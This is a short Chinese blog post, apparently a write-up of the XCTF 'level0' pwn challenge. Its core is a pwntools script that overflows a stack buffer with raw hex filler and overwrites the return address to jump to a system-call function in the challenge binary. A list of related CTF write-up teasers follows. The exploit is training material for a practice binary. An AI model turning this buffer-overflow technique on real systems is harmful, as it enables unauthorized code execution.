攻防世界level0机器码形式payload

痛定思痛。 2022-12-30 01:25 100阅读 0赞

第一次写出了机器码payload哈哈哈

from pwn import *
    context.log_level='debug'
    #r=remote('220.249.52.134',53019)
    r=process('./level0')
    system_call=0x400596
    ret_addr=0x400431
    #payload='A'*0x80+'B'*0x8+p64(ret_addr)+p64(system_call)
    payload='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65'
    payload+='\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x65\x31'
    payload+='\x04\x40\x00\x00\x00\x00\x00\x96\x05\x40\x00\x00\x00\x00\x00'
    r.recvuntil('\n')
    r.sendline(payload)
    r.interactive()

发表评论取消回复

表情：

评论列表（有 0 条评论，100人围观）

还没有评论，来说两句吧...

相关阅读

相关攻防世界fileclude

![b6aedbd849d84ae39d36af35ec7a55f0.png][] isset()函数用于检测变量是否已设置并且非NULL。 php:/f

蔚落/ 2024年04月03日 10:55/ 0 赞/ 69 阅读

相关攻防世界 unserialize3

<?php class xctf{ public $flag = '111'; public function __wakeup

电玩女神/ 2024年04月03日 08:09/ 0 赞/ 56 阅读

相关攻防世界 command_execution

了解windows和linux下命令行的使用 ![在这里插入图片描述][20200820173709509.png_pic_center] 在命令行中 a命令 && b命令

妖狐艹你老母/ 2024年04月03日 08:02/ 0 赞/ 61 阅读

相关攻防世界 simple_php

构造url中的参数a和b ![a282929cb61043bebb973138e1acbd3b.png][] 第一个if如果是在C语言中是无论无何都不可能成立的但是在p

逃离我推掉我的手/ 2024年04月03日 08:00/ 0 赞/ 51 阅读

相关攻防世界 disabled_button

查看页面源代码后发现 ![c327027b6baf46499bf348d6c7814175.png][] 有个disabled\_class 标签,上网查看该标签的作用

Dear 丶/ 2024年04月03日 08:00/ 0 赞/ 90 阅读

相关攻防世界backup

掌握有关备份文件的知识常见的备份文件后缀名有: `.git .svn .swp .svn .~ .bak .bash_history` 使用扫目录脚本dirb(kali自

今天药忘吃喽~/ 2024年04月02日 03:39/ 0 赞/ 78 阅读

相关 [攻防世界][CTF][2020][MISC] 攻防世界 MISC writeup

咕咕咕新手练习区精选write up https://blog.csdn.net/weixin\_43550772/article/details/106028357

你的名字/ 2023年01月09日 15:58/ 0 赞/ 177 阅读

相关攻防世界level0机器码形式payload

第一次写出了机器码payload哈哈哈 from pwn import context.log_level='debug' r=remote('22

痛定思痛。/ 2022年12月30日 01:25/ 0 赞/ 101 阅读

相关攻防世界pwn题level0

查壳64bit ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG

柔情只为你懂/ 2022年12月03日 08:38/ 0 赞/ 159 阅读

相关逆向-攻防世界-CRACKME

查壳，然后直接OD，我们知道程序有弹窗，所以找messagebox弹窗函数 ![1524059-20190530230242302-721125840.png][] 分析

你的名字/ 2021年10月26日 15:38/ 0 赞/ 303 阅读